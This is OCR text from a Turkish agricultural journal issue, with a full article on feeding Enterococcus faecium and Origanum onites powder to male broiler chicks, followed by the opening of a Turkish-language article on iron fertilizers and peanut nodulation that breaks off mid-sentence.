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This study evaluated growth, gut health and meat traits effectiveness of
Enterococcus faecium (EF) and Origanum onites powder (OOP) on male
broilers. A total of 160 (ROSS 308) one day old male broiler chicks randomly
distributed to four dietary treatments; basal diet (To), basal diet + 0.2% EF
(T1), basal diet + 0.5% OOP (T), basal diet + 1% OOP (T3s). BWG was higher
in Ty and T2 groups than Control To group (P<0.05). FI, FCR, mortality,
internal organs, meat traits, breast meat MDA levels and LAB count did not
change among the treatments. Villi length increased in Ty and T2 groups than
control To group (P<0.001) in jejunum and ileum. Crypt depth increased in T
and T3 groups than T and T1 groups in jejunum and crypt depth increased T-
group than compared to the other groups in ileum (P<0.001). Villi leng crypt
depth ratio was found higher in T1 group compared to the other groups in
jejunum and ileum (P<0.001). Enterococcus sp. count increased in T; group
and E. coli count decreased in T2 group compared to other groups in cecum
(P<0.05), Lactobacillus count was not differ among the groups (P>0,05).
Gizzard weight was foun low in Ty group than To and T. groups (P<0.05). L*
value of thigh meat increased in T3 group than control To group. The results of
study showed that 0.5% OOP supplementation (T,) improved the performance
values like probiotic Enterococcus faecium supplementation (T1) and have a
potential as growth promoter in broilers. However, studies are needed to
reveal the effects of OOP supplementation at different doses or under
different stress factors.

*All animal care and experimental procedures were conducted following the guidelines of the Kirsehir Ahi Evran University Local
Ethics Committee for Animal Experiments. 31.03.2021-68429034/06.
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Enterococcus Faecium ve Origanum Onites Tozu ilavesinin Erkek Etlik Civcivlerde
Biiyiime, Bagirsak Saghgi, Bagirsak Morfolojisi, Et Ozellikleri ve Gogiis Eti MDA
Diizeyleri Uzerine Etkileri

Arastirma Makalesi

oz
Makale Tarihgesi: Bu ¢alismada, erkek etlik pili¢clerde Enterococcus faecium (EF) ve
Gelis tarihi: 01.08.2023 Origanum onites tozunun (OOP) biiyiime, bagirsak saglig1 ve et 6zellikleri
Kabul tarihi: 04.10.2023 iizerine olan etkinlikleri degerlendirildi. Toplam 160 (ROSS 308) bir

Online Yaymlanma: 08.03.2024 giinliik erkek pili¢ civciv rastgele dort muamele uygulamasina dagitildi.

Muameleler; bazal diyet (To), bazal diyet + %0,2 EF (T1), bazal diyet +
Anahtar Kelimeler: %0,5 OOP (T>), bazal diyet + %1 OOP (T3) olacak sekilde planlanmustir.
Etlik pilig Canli agirlik artist (CAA), Ty ve T2 gruplarinda Kontrol (To) grubuna gore
Origanum onites daha yiiksek olarak saptanmigtir (P<0,05). Muameleler arasinda yem
Enterococcus faecium g D 1 . 1y
Performans tiiketimi, yemden yararlanma orani, 6lim orani, i¢ organlar, et 6zellikleri,
Et szellikleri gbgiis eti MDA seviyeleri ve LAB sayilar1 ise farklilik saptanmamistir
(P>0,05). Jejunum ve ileumda, Kontrol (To) grubuna gore T; ve T»
gruplarinda villi uzunlugu artmistir (P<0.001). Kript derinligi jejunumda T»
ve T3 gruplarinda To ve Ty gruplarima gore, ileumda ise T, grubunda diger
gruplara gore daha yiiksek bulunmustur (P<0,001).Villi uzunlugu/kript
derinligi orami jejunumda ve ileumda T; grubunda diger gruplara gére daha
yiiksek bulunmustur (P<0,001). Sekumda T1 grubunda Enterokokkus sayisi
artmug, To grubunda E. coli sayis1 azalmis (P<0,05), Laktobasilli sayilart
bakimindan ise bir farklilik olusmamistir (P>0,05). Tashk agirhg T
grubunda, To ve T gruplarina gore daha diisiik bulunmustur (P<0,05). But
etinin L* degeri, T3 grubunda kontrol grubuna goére artmistir. Calismanin
sonuglari, %0,5 OOP takviyesinin (T) probiyotik (Enterococcus faecium)
takviyesi (T1) ile benzer sekilde performans degerlerini iyilestirdigini ve
piliclerde biiylimeyi destekleyici potansiyele sahip oldugunu gostermistir.
Ancak farkli dozlarda OOP ilavesinin veya farkli stres faktorleri altinda
etkilerinin ortaya konulmasma yonelik c¢alismalara da ihtiyag
duyulmaktadir.
To Cite: Celik H, Cayan H, Coskun 1., 2024. The effects of enterococcus faecium and origanum onites powder supplementation to
diet on growth, gut health, intestinal morphology, meat traits and breast meat MDA of male broiler chicks. Kadirli Uygulamali
Bilimler Fakiiltesi Dergisi, 4(1): 1-16.

Introduction

Origanum onites is a medicinal aromatic plant in the genus of Origanum, which grows
up in Turkiye, Greece and Sicily (Wikipedia, 2023). Plant height is 40-45 cm; leaves contain
1.88-3.06 essential oils; carvacrol is the main component of essential oils, leaves contain
varying amounts of cineol, borneol, linalool and y- terpinene; they have antioxidant (Ozkan
and Erdogan, 2011; Yilmaz et al., 2019) and antimicrobial activities (Kacar et al., 2006; Sarac
and Ugur, 2008). Despite these benefits, the number of studies using Origanum onites (OO)
essential oils as a phytobiotic in poultry is finite. In these studies, Sarica et al., (2014) showed
that 500 mg/kg dietary OO essential oil prevented a performance decrease in 14 day old
broilers fasting for 72 hours. Also Corduk et al., (2013) reported that 250 mg/kg OO essential
oil supplementation prevented a performance decrease in 21 day old broilers fasting for 48
hours. Sarica et al., (2018), reported that 250 mg/kg OO essential oil supplementation



increased villi length, jejunal and ileal crypt depth in 14 day old broiler chicks fasting for 48
hours. There are also studies reporting that 500mg/kg (Basmacioglu et al. 2010), and 300
mg/kg (Sarica et al. 2009; Kirkpinar et al. 2011) dietary OO essential oil supplementation did
not affect broiler performance parameters. In previous studies, only OO essential oil was used
as a phytobiotic in poultry, and there is no study in which the effects of Origanum onites
powder (OOP) on performance, gut morphology and meat characteristics of broilers were
determined. Moreover, besides determining the effect on performance increase, no study was
found in which the possible effect was compared with proven commercial probiotics.
Probiotics have proven in previous scientific studies that they can be an alternative to
antibiotics in poultry. One of these probiotics is Enterococcus faecium (EF). It was shown that
the dietary supplementation of EF to broiler diets improves performance (Samli et al. 2007;
Castafieda et al. 2020; Bassiony et al. 2021; Simonova et al. 2022). Therefore this study
aimed to evaluate the impacts of dietary 0.2% EF and 0.5-1% OOP on growth, internal organ
development, intestinal histology, cecum microbiota, meat traits and breast meat MDA of

male broilers for 21 days.

Material and Methods
Ethical approval
All animal care and experimental procedures were conducted following the guidelines

of the Kirsehir Ahi Evran University Local Ethics Committee for Animal Experiments.
31.03.2021-68429034/06.

Animal, Diet and Management

In the study, one day old 160 healthy ROSS 308 male broiler chicks purchased from a
commercial hatchery (Ross Breeders Anadolu, Ankara, Tirkiye) with standardized live
weights were placed in 4 flour chick rearing cages in an experimental room. The study
distributed broiler chicks to treatments with 4 replicates (10 chicks). Treatment groups were
To) as control, T1) basal diet + 0.2% EF as positive control, T») basal diet + 0.5% OOP, T3)
basal diet + 1% OOP. Cages (100cmx50cmx40cm) have wire floors, feeders and nipple
drinkers. Feed and water were offered ad-libitum and a 23-hour lighting program was applied
throughout the experiment. Room temperature set up 32 °C for 1 week and 2 °C reducing
every week. The experiment was continued for 21 days. No vaccination was applied to the
birds. During the study, broiler starter diets with 22.39% CP and 3080 kcal’kg ME were

purchased from a commercial feed company in Kayseri, Tiirkiye (Table 1).



Table 1. Ingredients and compositions of starter diet (g/100g).

Ingredients %
Corn 44.00
Soy bean meal (44%) 41.15
Meat and bone meal (35%) 4.00
Soy oil 6.50
DCP 2.50
L-lysine HCI 0.70
DL-methionine 0.35
Salt 0.30
Vitamin premix* 0.25
Mineral premix# 0.25
Composition

ME [kcal/kg] 3080
Crude protein 22.39
Crude fibre 2.80
Ether extract 8.50
Ca 1.60
Available P 3.80

* Vitamin A, 12.000 1U; Vitamin Ds, 2.400 IU; Vitamin E, 4 mg; Vitamin B1, 30 mg; Vitamin Ks, 7 mg; Vitamin Bs, 3 mg;
Vitamin Bz, 15 ng; Niacin, 5 mg; Vitamin B1z, 25 mg; Fe, 1 mg; Pantotenic acid, 80 mg; Folic acid,10 mg; Biotin, 125000
mg; Cu, 45 mg; Colin, 5 mg; Mn, 60 mg; Se, 150 pg.80 mg; Zn, 60 mg.

Live weight, feed intake and mortality were recorded weekly. On the 21st day of the
study, 2 chicks were slaughtered from each replicate close to the group average weight and
their internal organ weights were determined. On the day of slaughter, the cecum contents of
slaughtered animals from each replicate were taken and Enterococcus spp., LAB, E. coli were
detected same day in these samples. The lightness (L*), redness (a*), and yellowness (b*) of
breast and thigh meat were measured with a Minolta Chrometer CR410. pH values of breast
and thigh meat were measured by pH meter Testo 205 at slaughtered birds. Breast meat
samples collected from each slaughtered birds for MDA analyses in a refrigator for 3 days.

This study used the probiotic Enterococcus faecium NCIMB 10415 (DSM Nutritional
Products Ltd., Birsfelden, Switzerland CYLACTIN® LBC MEI10). Origanum onites were
provided by a local herbalist in Kirsehir Province. For the trial, Origanum onites were ground

at a thickness of 0.1 mm in a mill.

Determination of TBARS Value in Breast Meat of Broiler Chicks

The lipid oxidation level in the samples was determined using the 2-thiobarbituric acid
method. A sample of 10 grams was taken from the samples, 50 ml of distilled water at 50°C
was added and homogenized for 2 minutes in ultraturrax (IKA-T18). The mixture was taken

into the tubes of the distillation machine, 47.5 ml of more pure water was added, and 2.5 ml



of HCL (4 N) solution was added and paraffin was placed to prevent foaming, and boiling
stones to facilitate boiling were placed in the distillation device. The distillation apparatus was
adjusted for low steam power, and distillation was continued until 50 ml of distillate was
collected. 5 ml of the total distillate was taken into flasks, and 5 ml of TBA reagent was
added. Blanks were prepared by mixing 5 ml of distilled water and 5 ml of TBA reagent. The
samples, which were thoroughly mixed by vortexing, were kept in a boiling water bath for 35
minutes, after being removed from the water bath, they were cooled in water for 10 minutes
and readings were made against the blind at a wavelength of 538 nm in the spectrophotometer
(Shimadzu UVmini-1240). The obtained absorbance value was multiplied by 7.8 and the
result was found to be mg malondialdehyde (MDA) per kg of sample (Tarladgis et al. 1960).

Determination of Duodenum, Jejunum, and Ileum Histology

On the 21st day of the study, duodenum, jejunum and ileum samples taken from
slaughtered animals in each treatment group were placed in 10% formaldehyde. In the
histology analysis of the study, paraffin blocks were prepared and the samples were cut with a
thickness of 5 microns and the tissues were adhered to the slide. The tissues on the slide were
freed from paraffin by passing them through xylene, and then they were passed through
alcohol and xylene was removed from the tissues. The cleaned tissue samples were stained
with hematoxylin and eosin dye and photographed with a digital camera microscope equipped
with an AxioCam ERc 5s camera (ZEISS Primo Star, Germany) for proper imaging. The
photographs obtained for each treatment group and each sample were measured with the ZEN
2012 SP2 image processing and analysis program.

Cecum Microbiology

One g of cecal samples in 9 ml in peptone water was mixed with a vortex to obtain a
homogeneous distribution. Serial dilutions (1/10) were prepared at specific ratios from the
stock materials. MRS agar was used for lactic acid bacteria (MERCK, 1.10660) at 37°C
degrees following 3 days in an incubator and BEA (Bile Aesculin Azide Agar) Agar (Merck
100072 was used for Enterococcus spp. at 37°C degrees following 3 days in an incubator.
EMB (Eosin Methylene Blue) Agar (Merck 101347) was used for E. coli at 37°C for 2 days in
an incubator. The microbial colonies were counted and expressed as logio colony forming

units (CFU) per gram of caecal content.



Statistical Analysis

The analysis of the data obtained from the study was carried out with one-way analysis
of variance (ANOVA). The differences between the means were subjected to the Duncan
multiple comparison test and the results were recorded. Statistical analyses in the study were
made using SPSS 15.0 (SPSS Inc., Chicago, IL, USA) for Windows evaluation version

statistical package program.

Results

Growth Performance

In this study, dietary 0.2% EF (T1) and 0.5% OOP (T2) supplementation increased live
weight gain according to the control (To) group (P<0.05). Feed consumption, feed conversion
ratio (FCR) and mortality were not differed between the groups. Dietary supplementation of
Enterococcus faecium and Origanum onites to male broiler chicks resulted in a numerical

decrease or improvement in FCR compared to control group (Table 2).

Table 2. Differentiation of growth, feed intake, feed conversion ratio (FCR) with the supplementation of
Enterococcus faecium and Origanum onites powder to 21 day old male broiler diets.

Treatments
Parameters To T T, T3 SEM P value
LWG g/bird 615.76° 660.66° 650.092 641.06% 6.01 0.03
Feed intake g/bird 923.20 926.13 935.10 912.85 7.44 0.81
FCR 1.50 1.40 1.44 1.43 0.016 0.19

&b Superscripts represent the degree of significance of values between inline means for each variable (P<0.05). LWG= Live
weight gain SEM= Standard error of means; To= Control basal diet; T1= 0.2% EF; T2=0.5% OOP; Ts= 1% OOP.

Gut Histology

The effects of dietary EF (T1) and OOP (T2, Ts) on intestinal histology were shown in
Table 3. Dietary supplementation of OOP and EF to broiler diets had no effect on duodenum
morphological parameters (P>0.05).

In jejunum, the villi length was higher in T1 and T2 groups than control (To) group
(P<0.001). Especially, Ti group’s villi length was higher than all groups. Dietary
supplementation of 0.5% OOP (T2) and 1% OOP (Ts) increased the crypt depth than those of
control (To) and EF (T1) group. The villi length/crypt depth ratio of the EF (T1) group was
higher than all groups.

In ileum, the villi lengths were higher in Ty and T2 groups than control (To) and T3

groups. Crypt depth was the highest in the T> group compared to the other treatments. The



villi length/crypt depth ratio was higher in the T1 and Tz groups compared to control group,
and the highest level was found in T1 group (P<0.001).

Table 3. Differentiation of intestinal morphology with the supplementation of Enterococcus faecium and
Origanum onites powder to 21 day old male broiler diets.

Groups To T T T3 SEM P value
Duodenum
Villi length (p) 1095.35 1118.15 1117.55 111854 17.69 0.960
Crypt depth (p) 64.50 66.56 67.77 68.38 1.32 0.747
VL/CD 16.98 16.80 16.49 16.36 0.37 0.900
Jejunum
Villi length (p) 1175.52° 1526.18¢ 1292.622 1205.38% 24.05 0.001
Crypt depth (p) 78.71° 75.29° 91.05? 90.22? 2.36 0.001
VL/CD 14.93° 20.27° 14.13° 13.36° 0.41 0.001
lleum
Villi length (n) 546.16° 700.13° 745,752 579.03° 11.28 0.001
Crypt depth (n) 66.22° 60.40° 77.99° 59.48P 1.72 0.001
VL/CD 8.25° 11.59° 9.56 9.73" 0.29 0.001

&b_Superscripts represent the degree of significance of values between inline means for each variable (P<0.05). SEM=
Standard error of means; To= Control basal diet; T1= 0.2% EF; T2=0.5% OOP; Ts= 1% OOP; u= Micron

Caecal Microbiota
Differentiation of caecal microbiota with the supplementation of EF and OOP to broiler

diets was shown in Table 4.

Table 4. Differentiation of caecal microbiota with the supplementation of Enterococcus faecium and Origanum
onites powder to 21 day old male broiler diets (log 10/CFU).

Groups To T T, T3 SEM P value
Enterococcus spp. 6.96° 7.407 6.80° 7.28% 0.10 0.037
E. coli 7.002 6.992 6.30° 7.218 0.08 0.004
Lactobacillus spp. 7.49 7.59 7.93 8.08 0.11 0.189

&b_Syperscripts represent the degree of significance of values between inline means for each variable (P<0.05).
SEM= Standard error of means; To= Control basal diet; T1= 0.2% EF; T.=0.5% OOP; Ts= 1% OOP; CFU=
Colony forming units.

Dietary supplementation of EF (T1) to broiler diets increased Enterococcus spp. and
0.5% OOP (T>) supplementation decreased E. coli count in cecum. Dietary supplementation
of EF and OOP had no effect on the number of Lactobacillus spp.

Internal Organs

Dietary supplementation of OOP and EF at different to broiler diets (Table 5) had no
effect on internal organ weights. It was determined that the addition of EF (T1) decreased the
weight of gizzard compared to the control (To) and 0.5% OOP (T-) supplemented groups.



Table 5. Differentiation of internal organs with the supplementation of Enterococcus faecium and Origanum
onites powder to 21 day old male broiler diets (g-cm/100gr LW)

Groups To Ty T T3 SEM P value
Gut length 21.74 21.47 21.62 21.36 0.26 0.968
Gizzard 3.35° 2.88° 3.23% 3.16% 0.06 0.044
Heart 0.72 0.74 0.70 0.73 0.01 0.567
Liver 2.45 2.65 2.61 2.58 0.04 0.216
Proventriculus 0.64 0.61 0.64 0.64 0.01 0.649
Bursa of Fabricius 0.35 0.32 0.38 0.37 0.01 0.328
EIO 6.51 6.26 6.54 6.47 0.07 0.544

&b Superscripts represent the degree of significance of values between inline means for each variable (P<0.05). SEM:
Standard error of means. To= Control basal diet; T1= 0.2% EF; T.=0.5% OOP; T3s= 1% OOP; EIO= edible internal organs.

Meat Traits

The effects of dietary EF and OO on thigh and breast meats’ L* (lightness), a*
(redness), b* (yellowness) and pH levels are given in Table 6. In the study the L* value of the
T3 group’s was higher than the control group. It was determined that dietary EF and OOP had
no effect on other parameters (P>0.05). In the study, it was determined that the
supplementation of OOP did not have negative effects on the color values of thigh and breast
meat. Breast meat was not affected by dietary treatments. However, dietary supplementation
of 0.5%00P (T2) and 1%O0O0OP (T3) numerically decreased 3-day refrigerator stored breast
meat MDA value (P>0.05).

Table 6. Differentiantion of L*, a*, b*, MDA and pH meats with the supplementation of Enterococcus faecium
and Origanum onites powder to 21 day old male broiler diets.

Groups To Ty T, T3 SEM P value
Breast meat
L* 50.92 50.22 49.80 51.18 0.30 0.356
a* 14.35 13.86 14.42 13.60 0.19 0.349
b* 14.01 13.71 13.02 13.07 0.15 0.259
pH 5.86 5.94 5.91 5.94 0.03 0.824
MDA 0.19 0.18 0.17 0.15 0.01 0.746
Thigh meat
L* 55.89° 56.99% 57.18% 58.68% 0.32 0.020
a* 14.95 14.76 14.97 14.20 0.15 0.269
b* 15.07 14.76 15.59 15.55 0.16 0.212
pH 6.20 6.11 6.13 6.19 0.023 0.305

&b Superscripts represent the degree of significance of values between inline means for each variable (P<0.05). SEM=
Standard error of means. To= Control basal diet; T1= 0.2% EF; T.=0.5% OOP; Ts= 1% OOP; MDA= Malondialdehyde.

Discussion

The results of this study revealed that dietary Origanum onites powder and
Enterococcus faecium affected similarly the growth of broilers. The results of this study
resemble to the results of studies reported that adding Origanum vulgare leaf powder or
essential oil to the diet has positive effects on growth (Silva Vazquez et al. 2018; Giannenas
et al. 2016; Ariza Nieto et al. 2018; Méndez Zamora et al. 2017; Abdel Wareth et al. 2022;



Amer et al. 2021; Ampode and Mendoza, 2022). However, there are studies reported that they
have no positive effects on performance values (Basmacioglu et al. 2010; Fonseca-Garcia et
al. 2017; Vlaicu et al. 2018; Hernandez Coronado et al. 2019; Parvizi et al. 2020; Ozel et al.
2022). Enterococcus faecium was chosen as a positive control group in this study. In earlier
studies, it was demonstrated that Enterococcus faecium had been shown to increase the
growth of broilers (Samli et al. 2007; Castaneda et al. 2020) and rabbits (Simonova et al.
2022).

Histological results showed that dietary supplementation of OOP and EF significantly
increased the villi length in the intestines of broilers and provided better digestion, and
especially supplementation of probiotic EF increased the villi length, jejunal and ileal
villi/crypt ratio. The results of this study resemble the results of previous studies. Amer et al.,
(2021) showed that dietary oregano essential oil supplementation of (OEO) increased the villi
lengths in all intestine parts statistically at all levels than the control group, and increased the
crypt depths in the duodenum and jejunum. Also, Tzora et al., (2016) reported that dietary
supplementation with OEO increased jejunal villi length. Fonseca-Garcia et al., (2017)
reported that dietary supplementation with OEO did not affect on 42-day performance values,
but increased villi sizes in intestine parts (duodenum, jejunum and ileum). Zhang et al.,
(2021), reported that 200 mg/kg natural OEO to broiler diets increased villi length, villi/crypt
ratio and decreased crypt depth in duodenum, jejunum and ileum. Ding et al., (2020) reported
that dietary supplementation of OEO increased the villi length numerically, decreased the
crypt depth, and increased the villi-crypt ratio statistically in the jejunum in Peking ducks.
Also, Ozel et al., (2022) reported that 50 mg/kg OEO supplementation increased trout villi
length. Similarly, Krauze et al., (2020) and Samli et al., (2007) reported that dietary
Enteroccocus durans and faecium respectively increased ileal villi length of broilers. It was
reported that increased villi length enhances digestive surface area capable of more absorption
of digested nutrients (Awad et al. 2011; Krauze et al. 2020). Yason et al., (1987) reported that
crypts are villi producing factories and deeper crypts are responsible for renewal of decreased
villi in case of inflammations, pathogens, toxins and some stress factors. The result of this
study showed that OOP and EF supplementations increased villi length, villi/crypt ratio,
digestion and gut health of broiler chicks and thus had a positive effect on performance.

It has been determined that EF and OOP have an effect by improving intestinal health
by increasing the useful bacteria and decreasing pathogenic bacteria respectively. Turcu et al.,
(2018), reported that dietary supplementation of OEO decreased the numbers of
Enterobactericaea, E. coli and Staphylococcus in broilers. Kirkpinar et al., (2011) reported

9



that 150 mg/kg OEO supplementation to broiler diets increased Lactobacillus spp. and
suppressed coliforms colonization numerically. Contrary to these results, Criste et al., (2017)
reported that dietary supplementation of OEO did not affect the E. coli and
Enterobacteriaceae populations. Xu et al., (2003) reported that pathogenic bacteria suppress
digestive enzyme secretion by damaging villi and microvilli of gut mucosa and useful bacteria
as competitive exclusion inhibit the proliferation of pathogens to increase digestive enzyme
secretion in guts. In our study, the LAB count did not change, but numerically increased in
the 0.5% OOP (T2) and 1% OO (Ts) groups. Dietary supplementation of 0.5% OOP (T>)
decreased E. coli and dietary supplementation of EF increased Enterococcus spp. It can be
said that 0.5-1% OOP supplementations increased gut health like commercial probiotic EF.

Dietary supplementation of OOP and EF to broiler diets had no detrimental effect on
internal organ weights. They were normal size and weight. It was determined that the addition
of EF decreased the weight of the gizzard compared to the control (To) and (T2) groups. The
result of this study was in agreement with the result of Samli et al., (2010). They reported that
dietary supplementation of EF decreased gizzard weight. Fonseca et al., (2010) found that
dietary probiotic supplementation decreases crop pH and this contributes to the decrease of
pathogenic bacteria and digestion in intestine. Decreasing pH in crop may have increased
digestion by breaking down the cellulose units of the diet. The increase in diet digestion
should also have led to less muscle formation by providing more digestible feed entry to the
gizzard. Similarly, Willis and Reid, (2008) and Abdel-Hafeez et al., (2017) found that the
weight of the gizzard increased with the increase of indigestible content in the gizzard.

The effects of dietary supplementation of OOP and EF in broiler chicks on thigh and
breast meat L* (brightness), a* (red), b* (green) and pH are given in Table 6. At the end of
the study, the L* value of the T3 group was higher than the control (To) group. It was
determined that the addition of EF and OOP had no effect on other parameters. Dietary
supplementation of OOP did not have negative effects on the color values of thigh and breast
meat. Ri et al., (2017), reported that the dietary supplemented with oregano 150 mg/kg
(Origanum vulgare) powder did not affect to L, a*, b*, pH and cooking loss in meats at 21
and 42 days. Our results were similar to the results of Ri et al., (2017).

Dietary supplementation with OOP numerically decreased breast meat MDA levels
(Table 6). The results of this study are similar to the results of previous studies. Diler et al.,
(2017) reported that the addition of Origanum vulgare essential to trout feeds increased
antioxidant enzyme activity in meat. Tzora et al., (2016) found that oregano essential oil

supplementation increases breast and tight meat total phenol content. Ri et al., (2017) reported

10



that the addition of 150 mg/kg of oregano (Origanum vulgare) powder to broiler diets
statistically reduced MDA formation in broiler meat compared to control. Although Ognik et
al., (2017) reported that dietary EF supplementation decreased MDA formation, MDA of
breast meat was not different. Dietary supplementation of OOP and EF did not affect L*, a*,
b* and pH of breast and thigh meat of broilers. 1% OOP (T3) supplementation increased L*
value than in the control groups.

Conclusion

This study showed that the dietary supplementation of 0.2% EF and 0.5% OOP in
broiler chicks improved daily weight gain compared to the control group, increasingincreased
the digestive surface area by increasing the villi length in the jejunum and ileum. It has been
shown to positively affecton gut health, primarily by increasing the villi/crypt ratio in the
jejunum and ileum. EF supplementation increased Enterococcus spp. in cecum. Enterococcus
species are lactic acid bacteria and used as probiotics. It has been shown that 0.5% OO
supplementation positively affectsperformance by reducing the number of E.coli. Dietary
supplementation of EF and OOP did not hurtinternal organ developmentor thigh and breast
meat properties. The results of this study show that 0.5% supplementation of OOP to broiler
diets can be used safely like commercial probiotics for performance improvement. However,

tryingdifferent doses of Origanum onites powder or under different stress factors.
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Arastirma Makalesi

oz
Makale Tarihgesi: Calismada; birinci {irlin olarak yetistirilen NC-7 yerfistig1 ¢cesidinde farkli form
Gelis tarihi: 30.05.2023 ve zamanlarda uygulanan demir giibrelerinin nodiill olusumuna etkileri

Kabul tarihi: 09.08.2023

Online Yaymlanma: 08.03.2024 arastirtlmistir. Bu amag i¢in yerfistiginda demir klorozunun ¢ok yaygin oldugu

Osmaniye’nin Kadirli ilgesi’nde 1999 yilinda bir ve 2000 yilinda ise iki ayri

Anahtar Kelimeler: lokasyonda tarla denemeleri kurulmustur. Selat [%6 Fe iceren Fe-EDDHA
Demir giibrelemesi (etilendiamin-o-dihidroksifenil asetikasit) selat] ve mineral [Pyrite: (FeS»)
I;%ctléiilnolusumu %23 S, %35 Fe] formdaki iki demir giibresi ekimden énce topraga toz
Yaprak giibresi formunda uygulanmistir. Toz ve sivi seklinde farkli formda iki yaprak giibresi
Yerfistigi ise ekimden 30, 60, 90 giin sonra olmak fiizere {i¢ farkli zaman ve bunlarin

kombinasyonlar1 seklinde vejetatif aksama piiskiirtiilerek verilmistir. Farkli
formlardaki demir giibrelerinin 6nce topraga sonra yapraga farkli zamanlarda
uygulanmasin1  kapsayan denemede kontrol dahil toplam 17 uygulama
iizerinde ¢aligilmistir. Demir eksikligine duyarli olan NC-7 yerfistig1 ¢esidinde
demir giibresi uygulamalarinin kdklerde nodiil agirligi ve protein igerigini
etkilemedigi belirlenmistir.

The Effect of Iron Fertilizers on Nodulation of Peanut (Arachis hypogeae L.) Grown in
Lime Soils

Research Article ABSTRACT
Article History: Formation of NC-7 peanut cultivar grown as the main crop was investigated.
Received: 30.05.2023 For this purpose, field trials were established in one location in 1999 and in

Accepted:09.08.2023

Available online: 08.03.2024 two different locations in 2000 in the Kadirli District of Osmaniye, where

iron chlorosis is very common in peanuts. Two iron fertilizers in the form of

Keywords: chelate [Fe-EDDHA  (ethylenediamine-o-dihydroxyphenylacetic  acid)
'I:I’(())Irl]afref’;rltilz“ezl’er containing 6% Fe] and mineral [Pyrite: (FeS,) 23% S, 35% Fe] were applied
Nodule formation to the soil in powder form before planting. Two foliar fertilizers in different
Peanut forms as powder and liquid were sprayed on the vegetative part in three
Protein different times and combinations of these, 30, 60 and 90 days after planting.

A total of 17 applications, including control, were studied in the trial, which
included the application of different forms of iron fertilizers to the soil and
then to the leaves at different times. In the NC-7 peanut variety, which is
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sensitive to iron deficiency, it was determined that iron fertilizer applications
did not affect the nodule weight in the roots and the protein content in the
seed.

To Cite: Yenikalayct A, Temel N, Culluoglu N., 2024. Kiregli topraklarda yetistirilen yerfistiginda (Arachis hypogeae L.)
demir giibrelerinin nodiilasyona etkisi. Kadirli Uygulamali Bilimler Fakiiltesi Dergisi, 4(1): 17-27.

Giris

Bir baklagil olmasina ragmen, meyvelerini toprak igerisinde olusturmasi ozelligi ile
yerfistigi (Arachis hypogaea L.) diger baklagillerden ayrilir. Tek yillik olan ve yazlik olarak
yetistirilen yerfistigi, hem insan beslenmesinde hem de hayvan yemi olarak tiiketildigi ve
toprag1 azotga zenginlestirdigi i¢in de yagh tohumlu bitkiler icerisinde Onemli bir yere
sahiptir. Tohumlar1 ortalama %18 karbonhidrat ve 6nemli dlgiide K, Ca, Mg, P ve S gibi
mineral madde, ayrica A, B (Niacin, Inositol vs.) ve E (Tocopherol) vitamini igerir
(Woodroof, 1983).

Sulanabilir ova niteliginde olan Cukurova Bolgesi'nde Adana, Hatay, Osmaniye ve Igel
illerini kapsayan tarim alanlarinda uygun iklim ve toprak 6zellikleri nedeniyle yerfistig1 tarimi
yapilabilmektedir (Geng ve ark., 1990). Ancak, yerfistig1 iretim maliyetlerinin yiiksek olmasi,
yerfistigi fiyatlarinin da iilkemizde yiiksek olmasina neden olmaktadir. Bundan dolayi,
ilkemizde yerfistig1 bitkisel yag sanayinde kullanilmamakta, daha ¢ok c¢erez olarak
tiiketilmektedir (Isler, 2019). Diinyada yerfistig1 ekim alani FAO (Anonim, 2019) verilerine
gore 29.596,969 ha ve iiretim 48.001,456 ton olarak gergeklesmistir. Ayn1 yil Tiirkiye’de
toplam 547,747 da alanda yerfistig1 ekilmis ve 215,927 ton firiin elde edilmistir. Adana
113.450 ve Osmaniye 53.554 ton degerleri ile {iilkemiz yerfistig1 {iiretiminin %3 {ini
karsilamistir (Anonim, 2020).

Cukurova Bolgesi’nde yerfistig1 yetistiriciliginin biiylik sorunlarindan biri de klorozun
yaygin olmasidir. Demir elementi, yapisal olarak klorofil molekiiliinde yer almamakla birlikte
klorofil olusumunda asal bitki besin maddesi olarak islev goriir. Bitki yapraklarindaki toplam
demirin biiyiik bir kism1 kloroplastlarda bulunur ve kloroplastik proteinin olusumunda gorev
alir ve bu nedenle klorofil olusumunda etkilidir. Toprakta mevcut demirin yarayisliligim
kontrol eden en onemli faktorlerden biri toprak pH’s1 olup asidik topraklarda ¢oziinebilir
demir fazla olmasima ragmen, nétr veya alkalin kirecli topraklarda Fe?"in ¢oziiniirliigii ¢ok
diistiktiir. Dolayisiyla, bitkilerin ¢ogu demiri yeterince absorbe edemez, yliksek diizeydeki
kireg ise asal olarak demir alimimi engeller ve demir klorozu meydana gelir (Kacar, 1984).

Bir ¢alismada, yerfistiginda demir noksanliginin, kok gelisimini kisitladigi, bu durumun

diger besin elementlerinin noksanligina yol acabilecegi belirtilmistir (Pattee ve ark., 1982).
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Yerfistig1 yetistirilen kalkerli topraklarda Tainan-9 ¢esidinin demir yaprak giibresine, Robut
33-1 ve NC-7 c¢esitlerinin ise elementel demire tepkisinin dnemli olmadigi bildirilmistir
(Suwapan ve ark., 1989). Cukurova bolgesinde farkli topraklarda yetistirilen yerfistigi
bitkisinde bakteri asilamasi ve demir uygulamasinin nodiilasyon, biyomas verimi ve bitkide
azot konsantrasyonuna etkisi arastirtlmistir. Elde edilen bulgulara gore nodiilasyonun, toprak
farkliligina bagl olarak 6nemli 6l¢iide degiskenlik gosterdigi, bakteri agilamasi ve demirin
birlikte uygulanmasiin birim nodiil agirligint olumlu etkiledigi saptanmistir. Yerfistiginda
nodiil, kok ve kok iistii % N degerlerinin daha ¢ok toprak farkliligina gore degistigi ve demir
uygulamasinin genelde nodiil azot igerigini arttirdig1 belirlenmistir (Gok ve ark., 2010).

Preeda ve ark. (1990), yerfisiginda siddetli demir klorozunun nodiilasyonun
baslamasii engelledigini ve demir noksanligina en hassas donemin nodiil gelisiminin
simbiyoz donemi oldugunu bildirmislerdir. Ayrica yaprak giibresi uygulanan bitkilerde
kontrole gore daha biiyilk ve ¢ok sayida aktif nodiiliin olustugu, Tainan-9 c¢esidinde
giibrelemeden bes giin sonra, birim agirlik basina 200 kat fazla bakteroid ve 14 kat fazla
leghaemoglobin olustugu sonucuna ulagilmistir. Yerfistig1 toprak yiizeyine ¢iktiktan sonra 50.
ve 70. glinlerde 2 kg/da dozundaki bazal demirin boliinerek uygulanmasi ¢alismasinda hem
kloroz iyilestirilmis hem de en yiiksek meyve verimi ve vejetatif aksam edilmistir (Singh ve
Dayal, 1992). Papastylianou (1993), dal ve anter olusum donemlerinde yapilan selat
uygulamalarinin verimler arasinda ¢ok az fark olusturmasina karsin erken donem
